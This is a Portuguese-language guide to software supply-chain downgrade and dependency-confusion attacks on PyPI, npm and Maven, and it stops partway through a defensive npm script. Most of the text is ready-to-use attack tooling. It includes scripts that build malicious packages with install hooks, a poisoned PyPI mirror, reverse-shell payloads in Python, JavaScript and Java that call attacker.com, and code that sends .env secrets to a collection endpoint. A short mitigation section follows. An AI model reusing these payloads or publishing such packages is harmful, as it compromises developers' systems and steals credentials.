# Downgrade Attacks

## **📋 Índice**

1. [Fundamentos do Downgrade em Linguagens](#-fundamentos-do-downgrade-em-linguagens)
2. [Python - Version Downgrade e Dependency Confusion](#-python---version-downgrade-e-dependency-confusion)
3. [JavaScript/Node.js - Package.json e NPM](#-javascriptnodejs---packagejson-e-npm)
4. [Java - Bibliotecas e Classpath](#-java---bibliotecas-e-classpath)
5. [C/C++ - ABI e Linker](#-cc---abi-e-linker)
6. [PHP - Extensões e Configurações](#-php---extensões-e-configurações)
7. [Ruby - Gem Versioning](#-ruby---gem-versioning)
8. [Go - Module Proxy](#-go---module-proxy)
9. [Rust - Cargo Registry](#-rust---cargo-registry)
10. [Técnicas de Exploração](#-técnicas-de-exploração)
11. [Mitigações e Boas Práticas](#-mitigações-e-boas-práticas)
12. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do Downgrade em Linguagens**

### **O que é Downgrade Attack em Linguagens?**

Ataques de downgrade em linguagens de programação consistem em forçar a utilização de versões mais antigas, vulneráveis, de bibliotecas, dependências ou do próprio interpretador/compilador. Esses ataques exploram a cadeia de suprimentos de software (supply chain) para introduzir vulnerabilidades conhecidas em aplicações que deveriam estar seguras.

### **Princípio de Funcionamento**

```mermaid
sequenceDiagram
    participant D as Desenvolvedor
    participant R as Registry (NPM/PyPI)
    participant A as Atacante
    participant S as Servidor

    Note over D,R: Cenário Normal
    D->>R: Instala biblioteca v2.0
    R-->>D: Biblioteca segura

    Note over A,R: Ataque de Downgrade
    A->>R: Publica v1.0 vulnerável
    A->>D: Manipula package.json
    D->>R: Instala v1.0 (vulnerável)
    R-->>D: Biblioteca vulnerável

    D->>S: Deploy com código vulnerável
    S-->>A: Explora vulnerabilidade
```

### **Matriz de Ataques por Linguagem**

| Linguagem      | Vetor Principal        | Risco                                 | Severidade |
| -------------- | ---------------------- | ------------------------------------- | ---------- |
| **Python**     | PyPI, requirements.txt | Dependency confusion, version pinning | 🔴 CRÍTICO |
| **JavaScript** | NPM, yarn.lock         | Malicious packages, typosquatting     | 🔴 CRÍTICO |
| **Java**       | Maven, Gradle          | Repository poisoning, JAR downgrade   | 🟠 ALTO    |
| **C/C++**      | vcpkg, Conan           | ABI incompatibility, old libs         | 🟠 ALTO    |
| **PHP**        | Composer, PEAR         | Version constraints, old extensions   | 🟡 MÉDIO   |
| **Ruby**       | RubyGems               | Gem version confusion                 | 🟡 MÉDIO   |
| **Go**         | Module proxy           | SumDB bypass, proxy poisoning         | 🟠 ALTO    |
| **Rust**       | Cargo, crates.io       | Dependency confusion, yank bypass     | 🟡 MÉDIO   |

***

## 🐍 **Python - Version Downgrade e Dependency Confusion**

### **Ataque 1: Dependency Confusion**

```python
#!/usr/bin/env python3
# dependency_confusion.py - Ataque de dependency confusion em Python

import requests
import json

class DependencyConfusion:
    """Exploração de dependency confusion em Python"""
    
    def __init__(self, target_package):
        self.target_package = target_package
        self.private_packages = []
    
    def find_private_packages(self, requirements_file):
        """Identificar pacotes privados em requirements.txt"""
        print(f"[*] Analisando {requirements_file}")
        
        with open(requirements_file, 'r') as f:
            for line in f:
                line = line.strip()
                if not line or line.startswith('#'):
                    continue
                
                # Verificar se parece com pacote privado
                if '@' in line or 'git+' in line:
                    package_name = line.split('@')[0].split('/')[-1]
                    self.private_packages.append(package_name)
                    print(f"   Pacote privado: {package_name}")
        
        return self.private_packages
    
    def check_pypi_conflict(self, package_name):
        """Verificar se pacote existe no PyPI"""
        print(f"[*] Verificando {package_name} no PyPI...")
        
        try:
            response = requests.get(f"https://pypi.org/pypi/{package_name}/json")
            if response.status_code == 200:
                data = response.json()
                latest_version = data['info']['version']
                print(f"   ⚠️  Pacote {package_name} existe no PyPI (v{latest_version})")
                return True
        except:
            pass
        
        print(f"   ✅ Pacote {package_name} não existe no PyPI")
        return False
    
    def create_malicious_package(self, package_name, version, payload):
        """Criar pacote malicioso para upload"""
        print(f"[*] Criando pacote malicioso {package_name}=={version}")
        
        # Estrutura do pacote
        setup_py = f"""
from setuptools import setup
import os

setup(
    name='{package_name}',
    version='{version}',
    packages=[],
    install_requires=[],
)

# Payload executado durante instalação
{payload}
"""
        
        # Criar arquivos
        with open('setup.py', 'w') as f:
            f.write(setup_py)
        
        with open('README.md', 'w') as f:
            f.write(f"# {package_name}\nMalicious package for testing")
        
        print(f"[+] Pacote criado. Execute:")
        print(f"   python setup.py sdist upload -r pypi")
        
        return True
    
    def exploit(self, requirements_file, malicious_version='999.9.9', payload=None):
        """Executar ataque de dependency confusion"""
        print("🚨 Dependency Confusion Attack (Python)")
        print("=" * 60)
        
        # Encontrar pacotes privados
        private_packages = self.find_private_packages(requirements_file)
        
        if not private_packages:
            print("❌ Nenhum pacote privado encontrado")
            return False
        
        print(f"\n[+] {len(private_packages)} pacote(s) privado(s) encontrado(s)")
        
        # Verificar conflitos
        for package in private_packages:
            exists = self.check_pypi_conflict(package)
            if not exists:
                print(f"\n[!] Oportunidade de dependency confusion: {package}")
                
                # Payload padrão
                if not payload:
                    payload = """
import os
import socket

# Reverse shell
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('attacker.com', 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.system('/bin/sh')
"""
                
                self.create_malicious_package(package, malicious_version, payload)
                return True
        
        return False

# Uso
# attack = DependencyConfusion()
# attack.exploit('requirements.txt')
```

### **Ataque 2: Version Pinning Downgrade**

```python
#!/usr/bin/env python3
# version_downgrade.py - Downgrade de versões em Python

import requests
import re

class VersionDowngrade:
    """Ataque de downgrade de versões de pacotes Python"""
    
    def __init__(self):
        self.vulnerable_versions = {
            'django': {
                'versions': ['1.0', '1.1', '1.2', '1.3', '1.4', '1.5', '1.6', '1.7', '1.8', '1.9', '1.10', '1.11'],
                'cves': ['CVE-2017-12794', 'CVE-2018-14574', 'CVE-2019-6975']
            },
            'flask': {
                'versions': ['0.1', '0.2', '0.3', '0.4', '0.5', '0.6', '0.7', '0.8', '0.9', '0.10', '0.11', '0.12'],
                'cves': ['CVE-2018-1000656']
            },
            'requests': {
                'versions': ['0.1.0', '0.2.0', '0.3.0', '0.4.0', '0.5.0', '0.6.0', '0.7.0', '0.8.0', '0.9.0', '0.10.0'],
                'cves': ['CVE-2015-2296']
            },
            'pillow': {
                'versions': ['1.0', '2.0', '2.1', '2.2', '2.3', '2.4', '2.5', '2.6', '2.7', '2.8', '2.9', '3.0'],
                'cves': ['CVE-2016-9190', 'CVE-2017-18235']
            }
        }
    
    def analyze_requirements(self, requirements_file):
        """Analisar requirements.txt para versões vulneráveis"""
        print(f"[*] Analisando {requirements_file}")
        
        vulnerabilities = []
        
        with open(requirements_file, 'r') as f:
            for line in f:
                line = line.strip()
                if not line or line.startswith('#'):
                    continue
                
                # Parse package and version
                match = re.match(r'([a-zA-Z0-9_-]+)([=<>!]+)([0-9.]+)', line)
                if match:
                    package = match.group(1)
                    operator = match.group(2)
                    version = match.group(3)
                    
                    if package in self.vulnerable_versions:
                        if operator == '==' or operator == '<=':
                            if version in self.vulnerable_versions[package]['versions']:
                                vulnerabilities.append({
                                    'package': package,
                                    'version': version,
                                    'cves': self.vulnerable_versions[package]['cves']
                                })
                                print(f"   ⚠️  {package}=={version} - Vulnerável!")
        
        return vulnerabilities
    
    def generate_downgrade_payload(self, package, target_version):
        """Gerar payload para downgrade"""
        payload = f"{package}=={target_version}"
        
        # Injeção via pip
        pip_command = f"pip install --force-reinstall {payload}"
        
        print(f"[+] Payload de downgrade:")
        print(f"   {pip_command}")
        
        return pip_command
    
    def exploit(self, requirements_file):
        """Executar ataque de downgrade"""
        print("🚨 Version Downgrade Attack (Python)")
        print("=" * 60)
        
        vulnerabilities = self.analyze_requirements(requirements_file)
        
        if not vulnerabilities:
            print("✅ Nenhuma vulnerabilidade encontrada")
            return
        
        print(f"\n[!] {len(vulnerabilities)} vulnerabilidade(s) encontrada(s):\n")
        
        for vuln in vulnerabilities:
            print(f"🔴 {vuln['package']}=={vuln['version']}")
            print(f"   CVEs: {', '.join(vuln['cves'])}")
            print(f"   Payload: pip install --force-reinstall {vuln['package']}=={vuln['version']}")
            print()

# Uso
# attack = VersionDowngrade()
# attack.exploit('requirements.txt')
```

### **Ataque 3: PyPI Mirror Poisoning**

```python
#!/usr/bin/env python3
# pypi_mirror_poisoning.py - Envenenamento de mirror PyPI

import os
import json
import hashlib

class PyPIMirrorPoisoning:
    """Ataque de envenenamento de mirror PyPI"""
    
    def __init__(self, mirror_url):
        self.mirror_url = mirror_url
        self.malicious_packages = []
    
    def create_malicious_package_index(self, package_name, version, sha256_hash):
        """Criar índice malicioso para mirror"""
        # Estrutura do Simple API do PyPI
        index_content = f"""
        <!DOCTYPE html>
        <html>
        <head><title>Links for {package_name}</title></head>
        <body>
            <h1>Links for {package_name}</h1>
            <a href="{package_name}-{version}.tar.gz#sha256={sha256_hash}" 
               data-requires-python=">=3.6">
                {package_name}-{version}.tar.gz
            </a>
        </body>
        </html>
        """
        
        return index_content
    
    def create_malicious_package(self, package_name, version, payload_code):
        """Criar pacote malicioso"""
        # setup.py malicioso
        setup_code = f"""
from setuptools import setup
import os
import sys

# Payload executado durante instalação
{payload_code}

setup(
    name='{package_name}',
    version='{version}',
    packages=['{package_name}'],
    install_requires=[],
)
"""
        
        # Criar estrutura
        os.makedirs(f'{package_name}', exist_ok=True)
        
        with open(f'{package_name}/setup.py', 'w') as f:
            f.write(setup_code)
        
        # Criar módulo principal
        with open(f'{package_name}/{package_name}.py', 'w') as f:
            f.write(f'# Malicious {package_name} package\nprint("Malicious package loaded")\n')
        
        # Criar tarball
        import tarfile
        with tarfile.open(f'{package_name}-{version}.tar.gz', 'w:gz') as tar:
            tar.add(f'{package_name}', arcname=package_name)
        
        # Calcular SHA256
        sha256 = hashlib.sha256()
        with open(f'{package_name}-{version}.tar.gz', 'rb') as f:
            for chunk in iter(lambda: f.read(4096), b''):
                sha256.update(chunk)
        
        return f'{package_name}-{version}.tar.gz', sha256.hexdigest()
    
    def setup_mirror(self, packages):
        """Configurar mirror malicioso"""
        print(f"[*] Configurando mirror malicioso em {self.mirror_url}")
        
        # Criar estrutura de diretórios
        os.makedirs('simple', exist_ok=True)
        os.makedirs('packages', exist_ok=True)
        
        for package_info in packages:
            name = package_info['name']
            version = package_info['version']
            payload = package_info['payload']
            
            # Criar pacote
            package_file, sha256 = self.create_malicious_package(name, version, payload)
            
            # Mover pacote
            os.rename(package_file, f'packages/{package_file}')
            
            # Criar índice
            index = self.create_malicious_package_index(name, version, sha256)
            with open(f'simple/{name}/index.html', 'w') as f:
                f.write(index)
            
            print(f"[+] Pacote {name}=={version} preparado")
        
        print(f"\n[!] Mirror configurado. Instruções:")
        print(f"   pip install --index-url {self.mirror_url} --trusted-host {self.mirror_url.split('//')[1]} <package>")

# Uso
# mirror = PyPIMirrorPoisoning("http://evil.com/pypi")
# mirror.setup_mirror([
#     {'name': 'internal-lib', 'version': '1.0.0', 'payload': 'os.system("calc.exe")'}
# ])
```

***

## 📦 **JavaScript/Node.js - Package.json e NPM**

### **Ataque 4: NPM Dependency Confusion**

```javascript
// malicious_package.js - Pacote malicioso para NPM
const fs = require('fs');
const https = require('https');
const child_process = require('child_process');

// Payload executado durante instalação
console.log('[!] Malicious package installed');

// Reverse shell
function reverseShell() {
    const host = 'attacker.com';
    const port = 4444;
    
    const net = require('net');
    const cp = require('child_process');
    
    const socket = net.createConnection(port, host, () => {
        const sh = cp.spawn('/bin/sh', []);
        socket.pipe(sh.stdin);
        sh.stdout.pipe(socket);
        sh.stderr.pipe(socket);
    });
}

// Exfiltração de dados
function exfiltrate() {
    try {
        // Coletar package.json
        const packageJson = fs.readFileSync('package.json', 'utf8');
        
        // Coletar .env
        const envFile = fs.readFileSync('.env', 'utf8');
        
        // Enviar para atacante
        const data = {
            package_json: packageJson,
            env: envFile,
            cwd: process.cwd(),
            user: process.env.USER
        };
        
        const req = https.request({
            hostname: 'attacker.com',
            port: 443,
            path: '/collect',
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            }
        }, (res) => {});
        
        req.write(JSON.stringify(data));
        req.end();
        
    } catch(e) {}
}

// Executar payload
reverseShell();
exfiltrate();
```

```json
// package.json - Configuração com versões vulneráveis
{
  "name": "vulnerable-app",
  "version": "1.0.0",
  "dependencies": {
    "express": "3.0.0",
    "lodash": "3.10.0",
    "request": "2.67.0"
  },
  "devDependencies": {
    "webpack": "1.12.0"
  }
}
```

```python
#!/usr/bin/env python3
# npm_dependency_confusion.py - Ataque de dependency confusion NPM

import requests
import json
import sys

class NPMDependencyConfusion:
    """Exploração de dependency confusion no NPM"""
    
    def __init__(self):
        self.npm_registry = "https://registry.npmjs.org/"
    
    def find_private_packages(self, package_json):
        """Identificar pacotes privados no package.json"""
        print(f"[*] Analisando package.json")
        
        private_packages = []
        
        with open(package_json, 'r') as f:
            data = json.load(f)
            
            dependencies = data.get('dependencies', {})
            dev_dependencies = data.get('devDependencies', {})
            
            all_deps = {**dependencies, **dev_dependencies}
            
            for package, version in all_deps.items():
                # Verificar se é pacote privado
                if version.startswith('file:') or version.startswith('git+') or version.startswith('link:'):
                    private_packages.append({
                        'name': package,
                        'version': version
                    })
                    print(f"   Pacote privado: {package} ({version})")
        
        return private_packages
    
    def check_npm_conflict(self, package_name):
        """Verificar se pacote existe no NPM registry"""
        print(f"[*] Verificando {package_name} no NPM...")
        
        try:
            response = requests.get(f"{self.npm_registry}{package_name}")
            if response.status_code == 200:
                data = response.json()
                latest_version = data.get('dist-tags', {}).get('latest', 'unknown')
                print(f"   ⚠️  Pacote {package_name} existe no NPM (v{latest_version})")
                return True
        except:
            pass
        
        print(f"   ✅ Pacote {package_name} não existe no NPM")
        return False
    
    def create_malicious_package(self, package_name, version, payload_file):
        """Criar pacote NPM malicioso"""
        print(f"[*] Criando pacote malicioso {package_name}")
        
        # Estrutura do pacote
        package_json = {
            "name": package_name,
            "version": "999.9.9",
            "description": "Malicious package",
            "main": "index.js",
            "scripts": {
                "preinstall": "node payload.js",
                "install": "node payload.js",
                "postinstall": "node payload.js"
            },
            "dependencies": {}
        }
        
        # Criar arquivos
        with open('package.json', 'w') as f:
            json.dump(package_json, f, indent=2)
        
        # Copiar payload
        import shutil
        shutil.copy(payload_file, 'payload.js')
        
        print(f"[+] Pacote NPM criado. Execute:")
        print(f"   npm publish --registry https://registry.npmjs.org/")
        
        return True
    
    def exploit(self, package_json_file, payload_file):
        """Executar ataque de dependency confusion"""
        print("🚨 NPM Dependency Confusion Attack")
        print("=" * 60)
        
        private_packages = self.find_private_packages(package_json_file)
        
        if not private_packages:
            print("❌ Nenhum pacote privado encontrado")
            return False
        
        print(f"\n[+] {len(private_packages)} pacote(s) privado(s) encontrado(s)")
        
        for pkg in private_packages:
            exists = self.check_npm_conflict(pkg['name'])
            if not exists:
                print(f"\n[!] Oportunidade de dependency confusion: {pkg['name']}")
                self.create_malicious_package(pkg['name'], '999.9.9', payload_file)
                return True
        
        return False

# Uso
# attack = NPMDependencyConfusion()
# attack.exploit('package.json', 'malicious_package.js')
```

### **Ataque 5: Package.json Version Downgrade**

```python
#!/usr/bin/env python3
# npm_version_downgrade.py - Downgrade de versões NPM

import json
import re

class NPMVersionDowngrade:
    """Ataque de downgrade de versões de pacotes NPM"""
    
    def __init__(self):
        self.vulnerable_versions = {
            'express': {
                'versions': ['3.0.0', '3.0.1', '3.0.2', '3.0.3', '3.0.4', '3.0.5', '3.0.6'],
                'cves': ['CVE-2014-6393', 'CVE-2014-6394']
            },
            'lodash': {
                'versions': ['3.0.0', '3.1.0', '3.2.0', '3.3.0', '3.4.0', '3.5.0', '3.6.0', '3.7.0', '3.8.0', '3.9.0'],
                'cves': ['CVE-2019-10744']
            },
            'request': {
                'versions': ['2.0.0', '2.1.0', '2.2.0', '2.3.0', '2.4.0', '2.5.0', '2.6.0', '2.7.0', '2.8.0'],
                'cves': ['CVE-2017-16028']
            },
            'jsonwebtoken': {
                'versions': ['1.0.0', '1.1.0', '1.2.0', '1.3.0', '1.4.0', '1.5.0', '1.6.0', '1.7.0'],
                'cves': ['CVE-2015-9235', 'CVE-2018-13870']
            }
        }
    
    def analyze_package_json(self, package_json_file):
        """Analisar package.json para versões vulneráveis"""
        print(f"[*] Analisando {package_json_file}")
        
        vulnerabilities = []
        
        with open(package_json_file, 'r') as f:
            data = json.load(f)
            
            dependencies = data.get('dependencies', {})
            dev_dependencies = data.get('devDependencies', {})
            
            all_deps = {**dependencies, **dev_dependencies}
            
            for package, version in all_deps.items():
                if package in self.vulnerable_versions:
                    # Verificar se versão é vulnerável
                    version_clean = re.sub(r'[^0-9.]', '', version)
                    if version_clean in self.vulnerable_versions[package]['versions']:
                        vulnerabilities.append({
                            'package': package,
                            'version': version_clean,
                            'cves': self.vulnerable_versions[package]['cves']
                        })
                        print(f"   ⚠️  {package}@{version_clean} - Vulnerável!")
        
        return vulnerabilities
    
    def generate_downgrade_command(self, package, version):
        """Gerar comando de downgrade"""
        return f"npm install {package}@{version} --save"
    
    def create_malicious_package_json(self, original_file, downgrades):
        """Criar package.json modificado com versões vulneráveis"""
        with open(original_file, 'r') as f:
            data = json.load(f)
        
        for downgrade in downgrades:
            package = downgrade['package']
            version = downgrade['version']
            
            if 'dependencies' in data and package in data['dependencies']:
                data['dependencies'][package] = version
            if 'devDependencies' in data and package in data['devDependencies']:
                data['devDependencies'][package] = version
        
        # Salvar package.json malicioso
        with open('package.json.malicious', 'w') as f:
            json.dump(data, f, indent=2)
        
        print(f"\n[+] Package.json malicioso criado: package.json.malicious")
        
        return 'package.json.malicious'
    
    def exploit(self, package_json_file):
        """Executar ataque de downgrade"""
        print("🚨 NPM Version Downgrade Attack")
        print("=" * 60)
        
        vulnerabilities = self.analyze_package_json(package_json_file)
        
        if not vulnerabilities:
            print("✅ Nenhuma vulnerabilidade encontrada")
            return
        
        print(f"\n[!] {len(vulnerabilities)} vulnerabilidade(s) encontrada(s):\n")
        
        for vuln in vulnerabilities:
            print(f"🔴 {vuln['package']}@{vuln['version']}")
            print(f"   CVEs: {', '.join(vuln['cves'])}")
            print(f"   Downgrade: npm install {vuln['package']}@{vuln['version']} --save")
            print()
        
        # Criar package.json malicioso
        self.create_malicious_package_json(package_json_file, vulnerabilities)

# Uso
# attack = NPMVersionDowngrade()
# attack.exploit('package.json')
```

***

## ☕ **Java - Bibliotecas e Classpath**

### **Ataque 6: Maven Dependency Confusion**

```xml
<!-- pom.xml vulnerável - Dependências com versões antigas -->
<project>
    <groupId>com.example</groupId>
    <artifactId>vulnerable-app</artifactId>
    <version>1.0.0</version>
    
    <dependencies>
        <!-- Spring Framework 3.x vulnerável -->
        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-core</artifactId>
            <version>3.2.0.RELEASE</version>
        </dependency>
        
        <!-- Log4j 1.x vulnerável a CVE-2019-17571 -->
        <dependency>
            <groupId>log4j</groupId>
            <artifactId>log4j</artifactId>
            <version>1.2.17</version>
        </dependency>
        
        <!-- Commons Collections 3.x vulnerável -->
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>
</project>
```

```python
#!/usr/bin/env python3
# maven_dependency_confusion.py - Ataque de dependency confusion Maven

import xml.etree.ElementTree as ET
import requests

class MavenDependencyConfusion:
    """Exploração de dependency confusion no Maven"""
    
    def __init__(self):
        self.maven_central = "https://repo1.maven.org/maven2/"
    
    def parse_pom_xml(self, pom_file):
        """Parsear pom.xml e extrair dependências"""
        print(f"[*] Analisando {pom_file}")
        
        tree = ET.parse(pom_file)
        root = tree.getroot()
        
        namespaces = {'mvn': 'http://maven.apache.org/POM/4.0.0'}
        
        dependencies = []
        
        for dep in root.findall('.//mvn:dependency', namespaces):
            group_id = dep.find('mvn:groupId', namespaces)
            artifact_id = dep.find('mvn:artifactId', namespaces)
            version = dep.find('mvn:version', namespaces)
            
            if group_id is not None and artifact_id is not None:
                dep_info = {
                    'group_id': group_id.text,
                    'artifact_id': artifact_id.text,
                    'version': version.text if version is not None else 'latest'
                }
                dependencies.append(dep_info)
                print(f"   {dep_info['group_id']}:{dep_info['artifact_id']} -> {dep_info['version']}")
        
        return dependencies
    
    def check_maven_central(self, group_id, artifact_id):
        """Verificar se artefato existe no Maven Central"""
        path = f"{group_id.replace('.', '/')}/{artifact_id}/maven-metadata.xml"
        url = f"{self.maven_central}{path}"
        
        try:
            response = requests.get(url)
            if response.status_code == 200:
                print(f"   ⚠️  {group_id}:{artifact_id} existe no Maven Central")
                return True
        except:
            pass
        
        print(f"   ✅ {group_id}:{artifact_id} não existe no Maven Central")
        return False
    
    def create_malicious_pom(self, group_id, artifact_id, version):
        """Criar pom.xml malicioso"""
        pom_content = f"""<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 
         http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    
    <groupId>{group_id}</groupId>
    <artifactId>{artifact_id}</artifactId>
    <version>{version}</version>
    <packaging>jar</packaging>
    
    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <version>3.8.1</version>
                <configuration>
                    <source>1.8</source>
                    <target>1.8</target>
                </configuration>
            </plugin>
        </plugins>
    </build>
</project>"""
        
        with open('pom.xml.malicious', 'w') as f:
            f.write(pom_content)
        
        print(f"[+] POM malicioso criado: pom.xml.malicious")
        
        return 'pom.xml.malicious'
    
    def create_malicious_class(self):
        """Criar classe Java maliciosa"""
        java_code = """package com.example.malicious;

import java.io.IOException;
import java.net.Socket;

public class MaliciousClass {
    static {
        try {
            // Reverse shell
            String host = "attacker.com";
            int port = 4444;
            
            Socket socket = new Socket(host, port);
            Process process = Runtime.getRuntime().exec("/bin/sh");
            
            new Thread(() -> {
                try {
                    byte[] buffer = new byte[1024];
                    int len;
                    while ((len = process.getInputStream().read(buffer)) != -1) {
                        socket.getOutputStream().write(buffer, 0, len);
                    }
                } catch (IOException e) {}
            }).start();
            
            new Thread(() -> {
                try {
                    byte[] buffer = new byte[1024];
                    int len;
                    while ((len = socket.getInputStream().read(buffer)) != -1) {
                        process.getOutputStream().write(buffer, 0, len);
                    }
                } catch (IOException e) {}
            }).start();
            
        } catch (Exception e) {}
    }
    
    public static void main(String[] args) {
        // Empty
    }
}
"""
        
        os.makedirs('src/main/java/com/example/malicious', exist_ok=True)
        with open('src/main/java/com/example/malicious/MaliciousClass.java', 'w') as f:
            f.write(java_code)
        
        print("[+] Classe maliciosa criada")
    
    def exploit(self, pom_file):
        """Executar ataque de dependency confusion"""
        print("🚨 Maven Dependency Confusion Attack")
        print("=" * 60)
        
        dependencies = self.parse_pom_xml(pom_file)
        
        vulnerable = []
        
        for dep in dependencies:
            exists = self.check_maven_central(dep['group_id'], dep['artifact_id'])
            if not exists:
                vulnerable.append(dep)
                print(f"\n[!] Oportunidade: {dep['group_id']}:{dep['artifact_id']}")
        
        if not vulnerable:
            print("❌ Nenhuma oportunidade encontrada")
            return False
        
        # Criar pacote malicioso para o primeiro vulnerável
        target = vulnerable[0]
        self.create_malicious_pom(target['group_id'], target['artifact_id'], '999.9.9')
        self.create_malicious_class()
        
        print(f"\n[+] Pacote malicioso criado para {target['group_id']}:{target['artifact_id']}")
        print(f"   mvn clean deploy")
        
        return True

# Uso
# import os
# attack = MavenDependencyConfusion()
# attack.exploit('pom.xml')
```

***

## 🔧 **Técnicas de Exploração Avançadas**

### **Técnica 7: Transitive Dependency Poisoning**

```python
#!/usr/bin/env python3
# transitive_dependency_poisoning.py - Envenenamento de dependências transitivas

import json
import requests

class TransitiveDependencyPoisoning:
    """Ataque de envenenamento de dependências transitivas"""
    
    def __init__(self):
        self.poisoned_packages = []
    
    def analyze_dependency_tree(self, package_json_file):
        """Analisar árvore de dependências"""
        print(f"[*] Analisando árvore de dependências")
        
        with open(package_json_file, 'r') as f:
            data = json.load(f)
        
        # Simular árvore de dependências
        # Em um cenário real, usaria npm ls --json
        
        dependencies = data.get('dependencies', {})
        
        # Identificar dependências populares
        popular_packages = ['lodash', 'request', 'axios', 'express', 'react']
        
        for package, version in dependencies.items():
            if package in popular_packages:
                # Verificar versões antigas
                if version.startswith('^') or version.startswith('~'):
                    print(f"   ⚠️  {package}@{version} - permite upgrade")
                    self.poisoned_packages.append({
                        'name': package,
                        'version': version.replace('^', '').replace('~', ''),
                        'type': 'semver'
                    })
        
        return self.poisoned_packages
    
    def create_poisoned_version(self, original_package, target_version, payload):
        """Criar versão envenenada de um pacote"""
        print(f"[*] Criando versão envenenada de {original_package}")
        
        # package.json da versão envenenada
        poisoned_package = {
            "name": original_package,
            "version": target_version,
            "description": f"{original_package} (poisoned)",
            "main": "index.js",
            "scripts": {
                "preinstall": payload,
                "install": payload,
                "postinstall": payload
            },
            "dependencies": {}
        }
        
        with open('package.json', 'w') as f:
            json.dump(poisoned_package, f, indent=2)
        
        # Criar arquivo de entrada
        with open('index.js', 'w') as f:
            f.write("// Malicious package\nmodule.exports = {};\n")
        
        print(f"[+] Pacote envenenado criado: {original_package}@{target_version}")
        
        return True
    
    def exploit(self, package_json_file, payload):
        """Executar ataque de envenenamento transitivo"""
        print("🚨 Transitive Dependency Poisoning Attack")
        print("=" * 60)
        
        poisoned = self.analyze_dependency_tree(package_json_file)
        
        if not poisoned:
            print("❌ Nenhuma dependência vulnerável encontrada")
            return False
        
        print(f"\n[!] {len(poisoned)} dependência(s) alvo(s):\n")
        
        for pkg in poisoned:
            print(f"🔴 {pkg['name']}@{pkg['version']}")
            print(f"   Tipo: {pkg['type']}")
            
            # Criar versão envenenada
            self.create_poisoned_version(pkg['name'], pkg['version'], payload)
            
            print(f"\n   Instruções:")
            print(f"   npm publish --tag latest")
            print(f"   npm deprecate {pkg['name']}@{pkg['version']} 'Vulnerable'")
            print()
        
        return True

# Uso
# attack = TransitiveDependencyPoisoning()
# attack.exploit('package.json', 'require("child_process").exec("calc.exe")')
```

***

## 🛡️ **Mitigações e Boas Práticas**

### **Script de Proteção para Python**

```python
#!/usr/bin/env python3
# secure_dependencies.py - Proteção contra downgrade em Python

import os
import hashlib
import json
from packaging import version

class SecureDependencyManager:
    """Gerenciador seguro de dependências"""
    
    def __init__(self):
        self.requirements_file = 'requirements.txt'
        self.lock_file = 'requirements.lock'
        self.known_hashes = {}
    
    def generate_lock_file(self):
        """Gerar arquivo lock com hashes"""
        print("[*] Gerando requirements.lock...")
        
        # Simular instalação e coleta de hashes
        # Em um cenário real, usaria pip freeze e hashlib
        
        with open(self.lock_file, 'w') as f:
            f.write("# Dependency lock file\n")
            f.write("# Generated by secure_dependencies.py\n\n")
            
            for package in self.known_hashes:
                f.write(f"{package['name']}=={package['version']} --hash={package['hash']}\n")
        
        print("[+] requirements.lock gerado")
    
    def verify_hashes(self):
        """Verificar hashes das dependências instaladas"""
        print("[*] Verificando hashes das dependências...")
        
        # Em um cenário real, compararia hashes
        # com os armazenados no lock file
        
        return True
    
    def pin_all_versions(self, requirements_file):
        """Fixar todas as versões em requirements.txt"""
        print("[*] Fixando versões em requirements.txt...")
        
        with open(requirements_file, 'r') as f:
            content = f.read()
        
        # Substituir ranges por versões fixas
        import re
        content = re.sub(r'([a-zA-Z0-9_-]+)>=([0-9.]+)', r'\1==\2', content)
        content = re.sub(r'([a-zA-Z0-9_-]+)~=([0-9.]+)', r'\1==\2', content)
        content = re.sub(r'([a-zA-Z0-9_-]+)\^([0-9.]+)', r'\1==\2', content)
        
        with open(requirements_file, 'w') as f:
            f.write(content)
        
        print("[+] Versões fixadas com sucesso")
    
    def check_vulnerable_versions(self):
        """Verificar versões vulneráveis usando Safety DB"""
        print("[*] Verificando vulnerabilidades conhecidas...")
        
        try:
            import subprocess
            result = subprocess.run(['safety', 'check', '-r', self.requirements_file], 
                                   capture_output=True, text=True)
            
            if result.returncode == 0:
                print("✅ Nenhuma vulnerabilidade encontrada")
            else:
                print("⚠️  Vulnerabilidades encontradas:")
                print(result.stdout)
                
        except FileNotFoundError:
            print("⚠️  Safety não instalado. Instale: pip install safety")
    
    def configure_pip(self):
        """Configurar pip para uso seguro"""
        print("[*] Configurando pip...")
        
        # Configurar para não usar cache
        os.environ['PIP_NO_CACHE_DIR'] = '1'
        
        # Configurar para verificar hashes
        os.environ['PIP_REQUIRE_HASHES'] = '1'
        
        # Configurar index-url apenas trusted
        pip_config = """
[global]
index-url = https://pypi.org/simple
trusted-host = pypi.org
disable-pip-version-check = true
require-hashes = true
"""
        
        with open(os.path.expanduser('~/.pip/pip.conf'), 'w') as f:
            f.write(pip_config)
        
        print("[+] Pip configurado com segurança")
    
    def run_checks(self):
        """Executar todas as verificações de segurança"""
        print("🔒 Secure Dependency Manager")
        print("=" * 60)
        
        self.pin_all_versions('requirements.txt')
        self.check_vulnerable_versions()
        self.generate_lock_file()
        self.configure_pip()

# Uso
# manager = SecureDependencyManager()
# manager.run_checks()
```

### **Script de Proteção para NPM**

```javascript
// secure-dependencies.js - Proteção contra downgrade em NPM

const fs = require('fs');
const crypto = require('crypto');
const { execSync } = require('child_process');

class SecureNPM {
    constructor() {
        this.packageJson = 'package.json';
        this.packageLock = 'package-lock.json';
        this.npmrc = '.npmrc';
    }
    
    // Fixar versões no package.json
    pinVersions() {
        console.log('[*] Fixando versões no package.json...');
        
        const pkg = JSON.parse(fs.readFileSync(this.packageJson, 'utf8'));
        
        // Substituir ranges por versões fixas
        ['dependencies', 'devDependencies'].forEach(section => {
